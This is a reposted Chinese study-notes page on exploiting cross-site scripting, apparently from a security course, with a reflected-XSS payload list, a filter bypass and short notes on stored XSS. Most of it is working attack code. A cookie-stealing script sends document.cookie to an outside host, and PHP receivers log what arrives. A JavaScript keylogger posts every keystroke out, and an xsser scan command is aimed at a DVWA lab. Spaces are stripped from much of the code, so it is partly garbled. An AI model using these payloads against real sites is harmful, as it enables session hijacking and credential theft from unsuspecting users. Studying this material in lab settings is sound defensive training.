安全牛学习笔记XSS的利用

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安全牛学习笔记XSS的利用相关的知识,希望对你有一定的参考价值。

反射型XSS1.概念

通过社会工程学等手段诱骗用户点击某个精心构造的链接,该链接会将恶意的js代码提交给 有漏洞的服务器网站,并由服务器返回给受害者的客户端执行。

2.POC

-<script>alert(‘xss’)</script>
-
直接通过脚本插入
-<ahref=‘‘onclick=alert(‘xss‘)>type</a>
-
将代码注入到a标签中,点击超链接则执行-<imgsrc=http://1.1.1.1/a.ipgonerror=alert(‘xss‘)> -将代码注入到img标签中,加载出错时执行-<script>window.location=‘http://1.1.1.1‘</script>
-
重定向
-<iframeSRC="http://1.1.1.1/victim"height="0"width="0"></iframe> -加载一个宽和高都是0的框架来执行代码-<script>newImage().src="http://1.1.1.1/c.php?output="+document.cookie;</script> -窃取cookie并发送到指定网址-<script>document.body.innerhtml="<divstyle=visibility:visible;><h1>THISWEBSITE

ISUNDERATTACK</h1></div>";</script> -修改DOM树中的内容

3.窃取cookiejs代码 cookie.js

varimg=newImage(); img.src="http://1.1.1.1/cookies.php?cookie="+document.cookie;

接收页面代码cookies.php

<?php
$c=$_GET[‘c‘]; $cookie=fopen("cookie.txt","a"); fwrite($cookie,$c."\r\n\r\n"); fclose($cookie);
echo"success"
?>

恶意代码

<scriptsrc=http://1.1.1.1/cookie.js></script> 

攻击过程:

当恶意代码被执行时,会从外部网址读取cookie.js在客户端上执行,该js会读取当前页面的 地址并发送到指定的接收页面,由页面接收并保存到文件。

4.keylogger键盘记录js keylogger.js

document.onkeypress=function(evt){
evt=evt||window.event
key=String.fromCharCode(evt.charCode)
if(key){
varhttp=newXMLHttpRequest();
varparam=encodeURI(key) http.open("POST","http://192.168.20.8/keylogger.php",true); http.setRequestHeader("Content-type","application/x-www-form-urlencoded"); http.send("key="+param);

} }

接收页面 Keylogger.php

<?php
$key=$_POST[‘key‘]; $logfile="keylog.txt"; $fp=fopen($logfile,"a"); fwrite($fp,$key); fclose($fp);
?>

恶意代码

<script+src="http://1.1.1.1/keylogger.js"></script>

攻击过程:当恶意代码被执行时,会从外部网址读取keylooger.js在客户端上执行,该js记录所有该页面 上的按键操作并发送到指定的接收页面,由页面接收并保存到文件。

5.xss漏洞检测工具:xsser

xsser-u“http://1.1.1.1/dvwa/vulnerabilities/"-g"xss_r/?name="--cookie="securi ty=low;PHPSESSID=d23e469411707ff8210717e67c521a81"-s-v--reverse-check检测xss漏洞
--heuristic检查被过滤的字符

6.过滤绕过

过滤机制:替换<script>字符为""绕过方法:在<script>中嵌套一层<script>--<scr<script>ipt>


存储型XSS1.概念

将恶意js代码永久的存储在有漏洞的服务器上,每次受害者打开该页面时,恶意代码便会在 客户端执行。

2.表单长度限制突破只在客户端过滤且服务器没有很的过滤机制时:

  直接修改客户端源码改变表单长度
  通过截断代理直接在数据包中修改需要提交的内容


以上是关于安全牛学习笔记XSS的利用的主要内容,如果未能解决你的问题,请参考以下文章

安全牛学习笔记XSS-简介跨站脚本检测和常见的攻击利用手段2

安全牛学习笔记XSS的简述

安全牛学习笔记SQLMAP- 自动注入

安全牛学习笔记​SQLMAP- 自动注入

安全牛学习笔记XSS- 键盘记录器和反射型XSS

安全牛学习笔记存储型XSS漏洞原理及修复方法